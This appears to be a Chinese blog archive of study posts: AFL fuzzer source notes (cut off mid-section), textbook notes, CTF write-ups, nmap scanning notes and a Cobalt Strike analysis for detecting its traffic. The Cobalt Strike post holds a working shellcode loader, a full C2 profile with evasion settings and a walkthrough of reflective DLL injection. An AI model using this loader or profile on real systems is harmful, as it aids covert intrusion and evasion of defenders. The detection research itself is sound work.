AFL 源码阅读

AFL源码阅读

0x00 afl-gcc.c

1.find_as
函数注释

Try to find our “fake” GNU assembler in AFL_PATH or at the location derived from argv[0]. If that fails, abort

从环境变量AFL_PATH或者argv[0]也就是当前文件的目录下寻找可执行文件as

函数过程
  1. 获得环境变量AFL_PATHalloc_printf函数开辟一片内存空间存储其路径加上/as的字符串。判断此文件是否可以执行。可以执行即给全局静态变量as_path进行赋值。赋值后free掉之前开辟的内存空间。
  2. strrchr函数查找argv[0]中的’/‘的位置,随后找到当前程序目录下的afl-as
2. edit_params
函数注释

Copy argv to cc_params, making the necessary edits.

将参数复制到全局变量cc_params中,并且做一些必要的修改。

函数功能
  1. 找到所使用的编译器如afl-gcc

  2. 如果name == afl-clangclang_mode设置为1.将CLANG_ENV_VAR环境变量设置为1。

  3. 如果编译器name为afl_clang++ 并且得到了环境变量AFL_CXX的值。那么就使用环境变量的路径,否则使用clang++

  4. 随后是检查一些编译参数:

    • 如果扫描到 -B ,-B 选项用于设置编译器的搜索路径。这里直接跳过。(因为我们之前已经处理过as_path了)
    • 如果扫描到 -integrated-as 跳过
    • 如果扫描到 -pipe 跳过
    • 如果扫描到 -fsanitize=address-fsanitize=memory 告诉gcc检查内存访问的错误,比如数组越界之类的。如果扫描到了,就设置 asan_set = 1(address是ASAN的,memory是MSAN的,这里好像并没有区分,而是后续根据环境变量来判断)
    • 如果扫描到 FORTIFY_SOURCE ,设置 fortify_set = 1 FORTIFY_SOURCE在使用各种字符串和内存操作功能时执行一些轻量级检查,以检测一些缓冲区溢出错误。比如strcpy这种。
    • 上面的检测是循环所有argv数组元素,循环结束后,设置cc_params数组添加两个元素“-B”as_path。如果clang_mode置1,添加元素-no-integrated-as
    • 如果得到了环境变量AFL_HARDEN添加参数-fstack-protector-all,并且如果fortify_set未被设置,那么添加参数-D_FORTIFY_SOURCE=2
  5. 随后是多个if设置参数。

    • 如果得到了asan_set,设置环境变量AFL_USE_ASAN为1。
    • 如果获取到了环境变量AFL_USE_ASAN,cc_params添加参数-U_FORTIFY_SOURCE-fsanitize=address
    • 如果获取到了环境变量AFL_USE_MSAN,c_params添加参数-U_FORTIFY_SOURCE-fsanitize=memory

    注意MSAN,ASAN不能同时使用

  6. 如果没有设置AFL_DONT_OPTIMIZE

    • 向储存编译选项的数组中加入:-g -O3 -funroll-loops -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1
  7. 最后,如果设置了 AFL_NO_BUILTIN ,那么连续添加如下编译选项:-fno-builtin-strcmp -fno-builtin-strncmp -fno-builtin-strcasecmp -fno-builtin-strncasecmp -fno-builtin-memcmp -fno-builtin-strstr -fno-builtin-strcasestr

  8. 最后在cc_params数组结尾添加NULL。

3. main
函数注释

Main entry point

函数功能
1
2
3
4
5
6
  find_as(argv[0]);
# 查找编译器
edit_params(argc, argv);
# 修改参数
execvp(cc_params[0], (char**)cc_params);
# execvp()会从环境变量所指的目录中查找符合参数 file # 的文件名, 找到后执行该文件, 然后将第二个参数argv 传# 给该执行的文件。

0x01 afl-fuzz.c

1. main
函数注释

Main entry point

函数功能
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
gettimeofday(&tv, &tz);
srandom(tv.tv_sec ^ tv.tv_usec ^ getpid());
# 首先调用 gettimeofday 获取当前的准确时间。接着用srandom根据这个时间与当前进程的pid做亦或之后设定了种子。保证了随机性

while ((opt = getopt(argc, argv, "+i:o:f:m:t:T:dnCB:S:M:x:Q")) > 0)
# 扫描参数,+代表遇到不包含选项的参数就返回-1,:代表选项后必须要有参数。
# i是输入文件夹;o输出文件夹;M主fuzzer;S从属fuzzer(对cpu多核的利用);f:testcase的内容会作为afl_test的stdin;m限制内存;t设置超时时间,x设置自定义的token,token就是一些容易触发漏洞的输入,(比如边界值,很大的数等),用于后面变异过程中的替换和插入,extras_dir被赋值;

setup_signal_handlers();
# 设置信号处理程序
check_asan_opts();

/*
检查syn_id,in_dir,out_dir。dumb_mode和crash_mode,qemu_mode有没有互斥。
检查5个环境变量"AFL_NO_FORKSRV","AFL_NO_CPU_RED","AFL_NO_ARITH","AFL_SHUFFLE_QUEUE","AFL_FAST_CAL"
通过环境变量AFL_HANG_TMOUT设置hang_out时间
保证dumb_mode与no_forkserver互斥
设置LD_PRELOAD和DYLD_INSERT_LIBRARIES为AFL_PRELOAD。
保存当前的命令行
查看是否是终端环境
根据cpu的亲和性(简单来说就是利用linux内核提供给用户的API,强行将进程或者线程绑定到某一个指定的cpu核运行。)绑定cpu
check_crash_handling() 回到目录,保证core dumps不会进入程序, 否则会增加将崩溃信息通过waitpid传递给fuzzer的延迟
check_cpu_governor查看cpu的调节器,使得cpu可以处于搞笑的运行装填。

*/
setup_post();
# 设置postprocesser
setup_shm();
# 设置共享内存和virgin_bits
init_count_class16();
# 数组最后大概的样子是
# 0 1 2 4 48 816 1632 9664 128128
# 上面的值依次+256 直到65536个被填满
setup_dirs_fds();
read_testcases();
load_auto();
pivot_inputs();在输出目录中为输入测试用例创建硬链接,选择好名字,并据此进行调整。
......
/*
进入fuzz主循环
*/
cull_queue();//简化队列
/* 如果queue_cur为空,即代表是执行完了一次循环,进行一些数据的变动
1. queue_cycle 加一
2. current_entry 归0
3. cur_skipper_path归0
4. queue_cur指向队列头
5. 根据seek_to的计数将queue_cur指向其位置
*/
随后show_stats();
/* 如果一次完整的循环后没有新的发现,那么久尝试调整策略。
1. 如果上一轮队列长度与上上一轮一样,那么代表没有新的case发现
1.1如果ues_splicing非0,cycles_wo_finds加1,
1.2否则use_splicing置1,代表本轮将使用splicing
2. cycles_wo_finds = 0
更新prev_queued为上一轮的queued_paths
如果并行fuzz并且是第一轮循环,并且存在环境变量"AFL_IMPORT_FIRST",启动并行fuzz
skipped_fuzz = fuzz_one(use_argv) 调用fuzz_one 开始fuzz当前case,skipped_fuzz表示是否跳过当前case
*/
2. fuzz_one
函数注释

Take the current entry from the queue, fuzz it for a while. This function is a tad too long… returns 0 if fuzzed successfully, 1 if skipped or bailed out.

从队列中取出当前的一项,然后进行fuzz,返回0如果fuzz成功。返回1如果跳过或者bailed out

函数功能

1.如果设置了pending_favored那么如果我们此时的case是否was_fuzzed,或者favored,如果满足fuzz过或者不是favored,那么生成一个小于100的随机数,如果不是99那么直接返回1

2.如果没有设置pending_favored,dumb_mode没开启并且此时的case不是favored并且此轮的用例大于10

​ 2.1 如果在非首轮循环并且当前case没有被fuzz过,则75%的概率跳过当前case(很明显,首轮循环为了fuzz到更多的种子,就不进入这个代码块)

​ 2.2 否则,即当前case被fuzz过,95%的概率跳过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* Map the test case into memory. */

fd = open(queue_cur->fname, O_RDONLY);

if (fd < 0) PFATAL("Unable to open '%s'", queue_cur->fname);

len = queue_cur->len;

orig_in = in_buf = mmap(0, len, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);

if (orig_in == MAP_FAILED) PFATAL("Unable to mmap '%s'", queue_cur->fname);

close(fd);

/* We could mmap() out_buf as MAP_PRIVATE, but we end up clobbering every
single byte anyway, so it wouldn't give us any performance or memory usage
benefits. */

映射当前case去内存空间。

分配len大小的给out_buff

设置subseq_tmouts = 0

cur_depth = queue_cur->depth; 设置当前的depth 为 当前队列的depth。


CALIBRATION (only if failed earlier on)阶段

如果queue_cur->cal_failed,即存在校准错误

如果校准错误次数小于3次,那么校验和清零(这里并没有看见这个操作),调用calibrate_case再次校准。如果手动终止或是res 不等于0,直接放弃该case,cur_skipped_paths加。(校准的操作应该就是改动一些数据重新计算一次checksum)

TRIMMING阶段

如果没有在dumb_mode下并且queue_cur->trim_done为0

对当前case进行trim_case()操作。如果stop_soon为1,cur_skipped_path++,跳转到abandon_entry。

设置queue_cur->trim_done=1

如果len不等于queue_cur->len

将len长度的in_buf拷贝进out_buf

PERFORMANCE SCORE阶段

calculate_score()计算当前case的score

如果skip_deterministic或queue_cur->was_fuzzed或queue_cur->passed_det跳转到havoc_stage;

如果当前的queue_cur->exec_cksum % master_max不等于master_id - 1,那么goto havoc_stage

SIMPLE BITFLIP (+dictionary construction)阶段

深入理解计算机操作系统

深入理解计算机操作系统

0x00 前言

本书只是初读以及会添加一些自己的理解,自己的理解我会用括号进行表述,后续理解更深后可能会进行文章的修改。

0x01 计算机系统漫游

1.信息是 位+上下文

系统中的所有信息,都是由一串比特(位)表示的,区分不同数据对象的唯一方法是我们读到这些数据对象的时候的上下文。

2.程序被其他程序翻译成不同的格式
  • 预处理阶段。宏展开,头文件展开,删除注释。
  • 编译阶段。输出汇编程序。(大概过程有,词法分析,语法分析,语义分析,源代码优化,目标代码生成,目标代码优化)
  • 汇编阶段。汇编生成可重定位目标程序(可执行文件)。
  • 链接阶段。所使用到的函数,如果代码没有需要进行链接(如动态链接,静态链接,静态链接是把函数代码一起生成可执行文件,动态链接是在运行的时候载入内存)
3.系统硬件组成
  1. 总线

    通常总线被设计成传送定长的字节块,也就是(word)字。字中的字节数是字长,所以字长实际上是根据系统而变化的。

  2. I/O设备

    每个I/O设备通过一个控制器或适配器与I/O总线相连。控制器和适配器之间的区别主要在于其封装方式。控制器是I/O设备本身或系统主板上的芯片组,适配器是插在主板卡槽上的卡。

  3. 主存

    主存是一个临时处理器,物理上来说由DRAM组成。

  4. 处理器

    CPU,处理器的核心是一个大小为一个字的存储设备或(寄存器)成为PC。在任何时刻,PC都指向主存中的某条机器语言指令(64位中eip指向的地址,所以说cpu的每一个核都有一套自己的寄存器和ALU算术/逻辑单元)

4.hello程序运行过程

输入的读入寄存器,寄存器写入内存,执行指令,输出结果(输出显示器的过程实际上是写入显存的过程,显存也在逻辑化的虚拟内存中)。

5.高速缓存至关重要

加快处理器的运行速度比加快主存的运行速度要容易和便宜的多

L1是L2的高速缓存,依次迭代。

6.操作系统管理硬件
进程

进程是操作系统对一个正在运行的程序的一种抽象。在一个系统上可以同时运行多个进程,而每个进程好像在独占硬件。而并发运行是说一个进程和另一个进程交错执行。操作系统实现这个交错的机制称作上下文切换。

操作系统持续跟踪进程所需要的所有状态信息。这些状态,也就是上下文,如PC和寄存器值,主存的内容。当操作系统切换上下文,就会进行上下文转换,即保存当前进程的上下文,恢复新进程的续航下文,然后将控制权交给新进程。内核不是一个独立的进程,它是该系统管理全部进程所用代码和数据结构的集合。

线程

在现代系统中,一个进程实际上可以由多被称为线程的执行单元组成,每个线程都运行在进程的上下文中并共享通用的代码和全局数据。

虚拟内存

此为linux虚拟内存。

文件

文件就是字节序列,每个I/O设备都可以看作是文件。系统中所有的输入输出都是通过使用一小组被成为unix I/O的系统调用读写文件实现的。

7.重要主题
并发和并行

concurrency并发,值一个同时具有多个活动的系统;parallelism并行指的是用并发来是一个系统运行的更快。

  1. 线程级并发

    多核CPU是将多个CPU(成为“核”)集成到一个集成电路芯片上

    超线程,有时称为同时多线程,是一项允许一个CPU执行多个控制流的技术。它涉及某些CPU硬件由多备份,比如程序计数器PC和寄存器文件,而其他的硬件部分只有一份,比如执行浮点算术运算的单元。

  2. 指令级并行

    现代处理器可以同时执行多条指令的属性成为指令级并行。早期的微处理器需要多个时钟周期来执行一条指令,最近的处理器可以保持每个时钟周期2~4条指令的执行速率。其实每条指令从开始到结束需要长的多的时间,但是处理器能同时处理多达100条指令。

  3. 单指令,多数据并行

    允许一条指令产生多个可并行执行的操作,即SIMD并行。

0x02 程序结构和执行

Cobalt Strike 初探

Cobalt Strike

研究背景

本次其实主要还是研究其流量特征,并且由于是DFI检测实际上我觉得还挺难看出来的。

但是还是研究一下shellcode的行为看看能不能找出其流量特征。

准备工作

写一个shellcode加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <windows.h>

int main()
{
char shellcode[] = "<shellcode>";
LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpAlloc, shellcode, sizeof shellcode);
_asm{
int 3
int 3
}
((void(*)())lpAlloc)();
return 0;
}

两个int 3是我用来定位shellcode用的

首先cld将标志寄存器DF置为0(方向标志 Direction Flag 0为增加方向)

压入了wininet 这个字符串,应该是后面需要加载这个dll文件

ebp之前有一个pop ebp行为,ebp此时存放的是跳转之前的地址。

就是很奇怪这个0x4c772607是干嘛的

压入寄存器

fs:[edx+0x30]由于 xor edx ,edx,此时edx为0,故而是fs:[0x30],fs在三环下指向的是TEB。

TEB结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
+0x01c EnvironmentPointer : Ptr32 Void
+0x020 ClientId : _CLIENT_ID :当前进程ID
+0x028 ActiveRpcHandle : Ptr32 Void
+0x02c ThreadLocalStoragePointer : Ptr32 Void
+0x030 ProcessEnvironmentBlock : Ptr32 _PEB 当前进程的PEB指针
+0x034 LastErrorValue : Uint4B
+0x038 CountOfOwnedCriticalSections : Uint4B
+0x03c CsrClientThread : Ptr32 Void
+0x040 Win32ThreadInfo : Ptr32 Void
+0x044 User32Reserved : [26] Uint4B
+0x0ac UserReserved : [5] Uint4B
+0x0c0 WOW32Reserved : Ptr32 Void
+0x0c4 CurrentLocale : Uint4B
+0x0c8 FpSoftwareStatusRegister : Uint4B
+0x0cc SystemReserved1 : [54] Ptr32 Void
+0x1a4 ExceptionCode : Int4B
+0x1a8 ActivationContextStack : _ACTIVATION_CONTEXT_STACK
+0x1bc SpareBytes1 : [24] UChar
+0x1d4 GdiTebBatch : _GDI_TEB_BATCH
+0x6b4 RealClientId : _CLIENT_ID
+0x6bc GdiCachedProcessHandle : Ptr32 Void
+0x6c0 GdiClientPID : Uint4B
+0x6c4 GdiClientTID : Uint4B
+0x6c8 GdiThreadLocalInfo : Ptr32 Void
+0x6cc Win32ClientInfo : [62] Uint4B
+0x7c4 glDispatchTable : [233] Ptr32 Void
+0xb68 glReserved1 : [29] Uint4B
+0xbdc glReserved2 : Ptr32 Void
+0xbe0 glSectionInfo : Ptr32 Void
+0xbe4 glSection : Ptr32 Void
+0xbe8 glTable : Ptr32 Void
+0xbec glCurrentRC : Ptr32 Void
+0xbf0 glContext : Ptr32 Void
+0xbf4 LastStatusValue : Uint4B
+0xbf8 StaticUnicodeString : _UNICODE_STRING
+0xc00 StaticUnicodeBuffer : [261] Uint2B
+0xe0c DeallocationStack : Ptr32 Void
+0xe10 TlsSlots : [64] Ptr32 Void
+0xf10 TlsLinks : _LIST_ENTRY
+0xf18 Vdm : Ptr32 Void
+0xf1c ReservedForNtRpc : Ptr32 Void
+0xf20 DbgSsReserved : [2] Ptr32 Void
+0xf28 HardErrorsAreDisabled : Uint4B
+0xf2c Instrumentation : [16] Ptr32 Void
+0xf6c WinSockData : Ptr32 Void
+0xf70 GdiBatchCount : Uint4B
+0xf74 InDbgPrint : UChar
+0xf75 FreeStackOnTermination : UChar
+0xf76 HasFiberData : UChar
+0xf77 IdealProcessor : UChar
+0xf78 Spare3 : Uint4B
+0xf7c ReservedForPerf : Ptr32 Void
+0xf80 ReservedForOle : Ptr32 Void
+0xf84 WaitingOnLoaderLock : Uint4B
+0xf88 Wx86Thread : _Wx86ThreadState
+0xf94 TlsExpansionSlots : Ptr32 Ptr32 Void
+0xf98 ImpersonationLocale : Uint4B
+0xf9c IsImpersonating : Uint4B
+0xfa0 NlsCache : Ptr32 Void
+0xfa4 pShimData : Ptr32 Void
+0xfa8 HeapVirtualAffinity : Uint4B
+0xfac CurrentTransactionHandle : Ptr32 Void
+0xfb0 ActiveFrame : Ptr32 _TEB_ACTIVE_FRAME
+0xfb4 SafeThunkCall : UChar
+0xfb5 BooleanSpare : [3] UChar

fs:[edx+0x30]指向了PEB。PEB+0xc指向的是Ldr 进程加载模块链表

PEB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar 调试标志
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void 映像基址
+0x00c Ldr : Ptr32 _PEB_LDR_DATA 进程加载模块链表
+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : Ptr32 Void
+0x018 ProcessHeap : Ptr32 Void
+0x01c FastPebLock : Ptr32 _RTL_CRITICAL_SECTION
+0x020 FastPebLockRoutine : Ptr32 Void
+0x024 FastPebUnlockRoutine : Ptr32 Void
+0x028 EnvironmentUpdateCount : Uint4B
+0x02c KernelCallbackTable : Ptr32 Void
+0x030 SystemReserved : [1] Uint4B
+0x034 AtlThunkSListPtr32 : Uint4B
+0x038 FreeList : Ptr32 _PEB_FREE_BLOCK
+0x03c TlsExpansionCounter : Uint4B
+0x040 TlsBitmap : Ptr32 Void
+0x044 TlsBitmapBits : [2] Uint4B
+0x04c ReadOnlySharedMemoryBase : Ptr32 Void
+0x050 ReadOnlySharedMemoryHeap : Ptr32 Void
+0x054 ReadOnlyStaticServerData : Ptr32 Ptr32 Void
+0x058 AnsiCodePageData : Ptr32 Void
+0x05c OemCodePageData : Ptr32 Void
+0x060 UnicodeCaseTableData : Ptr32 Void
+0x064 NumberOfProcessors : Uint4B
+0x068 NtGlobalFlag : Uint4B
+0x070 CriticalSectionTimeout : _LARGE_INTEGER
+0x078 HeapSegmentReserve : Uint4B
+0x07c HeapSegmentCommit : Uint4B
+0x080 HeapDeCommitTotalFreeThreshold : Uint4B
+0x084 HeapDeCommitFreeBlockThreshold : Uint4B
+0x088 NumberOfHeaps : Uint4B
+0x08c MaximumNumberOfHeaps : Uint4B
+0x090 ProcessHeaps : Ptr32 Ptr32 Void
+0x094 GdiSharedHandleTable : Ptr32 Void
+0x098 ProcessStarterHelper : Ptr32 Void
+0x09c GdiDCAttributeList : Uint4B
+0x0a0 LoaderLock : Ptr32 Void
+0x0a4 OSMajorVersion : Uint4B
+0x0a8 OSMinorVersion : Uint4B
+0x0ac OSBuildNumber : Uint2B
+0x0ae OSCSDVersion : Uint2B
+0x0b0 OSPlatformId : Uint4B
+0x0b4 ImageSubsystem : Uint4B
+0x0b8 ImageSubsystemMajorVersion : Uint4B
+0x0bc ImageSubsystemMinorVersion : Uint4B
+0x0c0 ImageProcessAffinityMask : Uint4B
+0x0c4 GdiHandleBuffer : [34] Uint4B
+0x14c PostProcessInitRoutine : Ptr32 void
+0x150 TlsExpansionBitmap : Ptr32 Void
+0x154 TlsExpansionBitmapBits : [32] Uint4B
+0x1d4 SessionId : Uint4B
+0x1d8 AppCompatFlags : _ULARGE_INTEGER
+0x1e0 AppCompatFlagsUser : _ULARGE_INTEGER
+0x1e8 pShimData : Ptr32 Void
+0x1ec AppCompatInfo : Ptr32 Void
+0x1f0 CSDVersion : _UNICODE_STRING
+0x1f8 ActivationContextData : Ptr32 Void
+0x1fc ProcessAssemblyStorageMap : Ptr32 Void
+0x200 SystemDefaultActivationContextData : Ptr32 Void
+0x204 SystemAssemblyStorageMap : Ptr32 Void
+0x208 MinimumStackCommit : Uint4B

mov edx,[edx+0x14] 是内存中的模块列表

LDR

1
2
3
4
5
6
7
8
9
typedef struct _PEB_LDR_DATA
{
 ULONG Length; // +0x00
 BOOLEAN Initialized; // +0x04
 PVOID SsHandle; // +0x08
 LIST_ENTRY InLoadOrderModuleList; // +0x0c
 LIST_ENTRY InMemoryOrderModuleList; // +0x14
 LIST_ENTRY InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24

其0x14指向的是一个有前后指针的链表地址。

1
2
3
4
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

如上

随后从Flink找到0x28偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nt!_LDR_DATA_TABLE_ENTRY
…………
+0x010 DllBase : Ptr32
+0x014 EntryPoint : Ptr32
+0x018 SizeOfImage : Uint4B
FullDllName : _UNICODE_STRING
+0x01c Length : Uint2B
+0x01e MaximumLength : Uint2B
+0x020 字符串地址Buffer : Ptr32
BaseDllName : _UNICODE_STRING
+0x024 Length : Uint2B
+0x026 MaximumLength : Uint2B
+0x028 字符串地址Buffer : Ptr32
…………

basedllname。unicode型的

这是我的木马名字。

lods byte ptr [esi]把esi指向的内存单元的字节存进了al。

al此时为63,与61不等。

发现就是去循环找到所需要的dll,猜测所需要ws2_32,wininet,ntdll和kernel32。

以上这段汇编应该是找函数地址了。

这个函数应该是要用到的,LoadLibraryEXA。

这里jmp去LoadLibraryA了

然后调用了这个函数

没找到用来干嘛的。。。

InternetOpenUrlA

这里应该是对链接的一些配置。

调用InternetConnectW函数

/LkKZ应该是特征之一。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static String MSFURI() {
String[] arrayOfString = toArray("a, b, c, d, e, f, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z, 1, 2, 3, 4, 5, 6, 7, 8, 9, 9");
while (true) {
String str = "/" + pick(arrayOfString) + pick(arrayOfString) + pick(arrayOfString) + pick(arrayOfString);
if (checksum8(str) == 92L)
return str;
}
}

public static String MSFURI_X64() {
String[] arrayOfString = toArray("a, b, c, d, e, f, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z, 1, 2, 3, 4, 5, 6, 7, 8, 9, 9");
while (true) {
String str = "/" + pick(arrayOfString) + pick(arrayOfString) + pick(arrayOfString) + pick(arrayOfString);
if (checksum8(str) == 93L)
return str;
}
}

感觉这个特征是随机的,但是总之字符集有了 ,随机的四位字符。

这个应该也是特征。

然后调用InternetReadFileExA。

c2 profile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# default sleep time is 60s
set sleeptime "10000";
# jitter factor 0-99% [randomize callback times]
set jitter "0";
# maximum number of bytes to send in a DNS A record request
set maxdns "255";
# indicate that this is the default Beacon profile
set sample_name "001";

stage {
set stomppe "true";
set obfuscate "true";
set cleanup "true";
transform-x86 {
strrep "ReflectiveLoader" "misakaloader";
}
transform-x64 {
strrep "ReflectiveLoader" "misakaloader";
}
}
# define indicators for an HTTP GET
http-get {
# Beacon will randomly choose from this pool of URIs
set uri "/ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /ptj /j.ad /ga.js /en_US/all.js /activity /IE9CompatViewList.xml";
client {
# base64 encode session metadata and store it in the Cookie header.
metadata {
base64;
header "Cookie";
}
}

server {
# server should send output with no changes
header "Content-Type" "application/octet-stream";

output {
print;
}
}
}

# define indicators for an HTTP POST
http-post {
# Same as above, Beacon will randomly choose from this pool of URIs [if multiple URIs are provided]
set uri "/submit.php";

client {
header "Content-Type" "application/octet-stream";

# transmit our session identifier as /submit.php?id=[identifier]
id {
parameter "id";
}

# post our output with no real changes
output {
print;
}
}

# The server's response to our HTTP POST
server {
header "Content-Type" "text/html";

# this will just print an empty string, meh...
output {
print;
}
}
}

后续分析

反射DLL注入

这块我也不太清晰,由于时间原因我大概写了一写自己的理解,后续仔细分析后在改进。

反射注入的流程
  1. 注入器将要注入的DLL打开,读进自己的内存空间。(注意不是映射。)
  2. 注入器提权,打开目标进程,申请内存空间,将DLL文件写入目标进程。
  3. 注入器手动搜索DLL的导出表,寻找DLL导出的自主实现的ReflectiveLoader函数。
  4. 注入器创建远程线程,线程启动点为ReflectiveLoader函数,DLL会加载自身,并执行DllMain。
ReflectiveLoader的工作流程

ReflectiveLoader首先利用一个重定位技巧找到自身所在的大致位置:

1
2
ULONG_PTR caller( VOID ) { return(ULONG_PTR)_ReturnAddress(); }

其中函数_ReturnAddress()返回的是当前调用函数的返回地址,也就是caller()的下一条指令的地址。这个地址位于ReflectiveLoader的内部,而ReflectiveLoader位于被注入的DLL文件内部,因此这个地址离DLL文件的头部不远了。

借助上文找到的地址,我们逐字节的向上遍历,当查找到符合PE格式的文件头之后,就可以认为找到了DLL文件在内存中的地址了。

获取需要的API函数地址

有四个API函数是我们需要用的

LoadLibraryA() :加载DLL所需的导入模块

GetProcAddress():修正导入表的函数地址

VirtualAlloc():申请内存空间

NtFlushInstructionCache()函数:刷新指令,重定向相关。

根据fs寄存器的0x30位置获得PEB,PEB中的三根链表就可以遍历所有已加载的模块,就可以找到Kernel32和ntdll从而获得函数地址

申请PE文件的空间

因为DLL现在是以文件的方式储存在内存空间。所以我们需要根据PE文件可选头中的SizeOfImage获得加载后的大小,申请SizeOfImage大小的内存空间。

拷贝PE文件头和各个节

分配了用于装载的空间后,ReflectiveLoader将DLL文件的头部,拷贝到新的空间的首部。再根据PE文件的节表将各个节复制到相应的位置中。 (这里应该是按照PE文件映射到虚拟内存的映射规则去排的位置 需要进行一下验证)

修正导入表

目前为止我们对导入表没有任何操作,也就是说其还处于原始的双桥结构的状态,IAT中还没有储存相应的函数地址。我们要根据导入表内容,通过0x01获得的LoadLibrary加载所需模块,按函数名导入的通过GetProcAddress获得地址填入IAT,按序号导入的暴力搜索其所在模块获得地址。

修正重定向数据

我们的ReflectiveLoader中肯定没有需要重定向的数据,但是DLL中的其他API中可能存在需要重定向的数据。我们根据DLL自身的重定向表修改数据。

重定向完成后记得调用NtFlushInstructionCache,确保指令的正确执行。

调用DllMain函数

DllMain函数的RVA在可选头中的AddressOfEntryPoint中储存。

至此DLL就完成了映射,运行了起来。

攻防世界 testre

攻防世界 testre

链接

testre

思路

shift+f12看看字符串

看到correct,看看引用的地方

这应该就是对比的加密的结果。

上面的加密代码真长啊。。。

慢慢分析

首先这边写入了输入

其实这里就可以看出base58编码了

直接把最后结果拿去base58解密。。看不太懂算法。。。

1
int len = strlen(plainText) *138/100 + 1;// len * log(2)256 / log(2)(58) + 1

算法网址:https://www.likecs.com/show-204562758.html

攻防世界 secret-galaxy-300

攻防世界 secret-galaxy-300

链接

secret-galaxy-300

思路

运行一下

galaxy_name数组

有一个名叫DARK SECRET GALAXY的字符串

ctrl+x看一下交叉引用,跳过去。

看有大佬直接用ida就做出来了。。。我不太行,写了个c的脚本,后来看wp又动态调试了一下。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#define _CRT_SECURE_NO_WARNINGS
#include <stdlib.h>
#include <stdio.h>
#include <thread>


int main() {
const char *str[4] = { "Andromeda", "Messier", "Sombrero", "Triangulum"};
char temp[21] = "";
char result = 0;
temp[0] = str[0][8];
temp[1] = str[3][7];
temp[2] = str[1][4];
temp[3] = str[0][6];
temp[4] = str[0][1];
temp[5] = str[1][2];
temp[6] = 95;
temp[7] = str[0][8];
temp[8] = str[0][3];
temp[9] = str[2][5];
temp[10] = 95;
temp[11] = str[0][8];
temp[12] = str[0][3];
temp[13] = str[0][4];
temp[14] = str[3][6];
temp[15] = str[3][4];
temp[16] = str[0][2];
temp[17] = 95;
temp[18] = str[3][6];
result = str[1][3];
temp[19] = str[1][3];
temp[20] = 0x00;
printf("%s", temp);
return 0;
}

flag:aliens_are_around_us

nmap 流量特征及用法详细

NMAP

主机发现

0x01 选项-sL

命令:nmap -sL 106.65.191.0/24

并不会发包给扫描主机,-sL选项只是进行DNS查询,会反向域名解析获取他们的名字。属于间接扫描。

0x02 选项-sP

ping扫描。

非sudo下发送syn到目标主机80/443端口收到SYN-ACK算发现,RST-ACK算没开启(这里有点奇怪,因为并非是端口扫描只是发现上线主机,但是主机回复RST-ACK却不算上线,后续实验可以看出是时间问题,回复慢了,扫描大量机器的时候可能不会出问题,少量太快运行完不会更新状态)。

sudo下局域网主机发送arp

非局域网sudo下有四种包

1.icmp type 8。

2.icmp type 13 timestap包。

3.80端口直接ACK

4.443端口SYN

0x03 选项-P0

该选项跳过nmap的发现阶段,默认情况下,nmap对正在运行的主机进行高强度的探测,如端口扫描,版本探测,系统探测。

0x04 选项-PS

该选项发送一个设置了SYN标志位的空TCP报文。 默认目的端口为80 (可以通过改变nmap.h) 文件中的DEFAULT-TCP-PROBE-PORT值进行配置,但不同的端口也可以作为选项指定。 甚至可以指定一个以逗号分隔的端口列表(如 -PS22,23,25,80,113,1050,35000), 在这种情况下,每个端口会被并发地扫描。

SYN标志位告诉对方您正试图建立一个连接。 通常目标端口是关闭的,一个RST (复位) 包会发回来。 如果碰巧端口是开放的,目标会进行TCP三步握手的第二步,回应一个SYN/ACK TCP报文。然后运行Nmap的机器则会扼杀这个正在建立的连接, 发送一个RST而非ACK报文,否则,一个完全的连接将会建立。 RST报文是运行Nmap的机器而不是Nmap本身响应的,因为它对收到 的SYN/ACK感到很意外。

Nmap并不关心端口开放还是关闭。 无论RST还是SYN/ACK响应都告诉Nmap该主机正在运行。

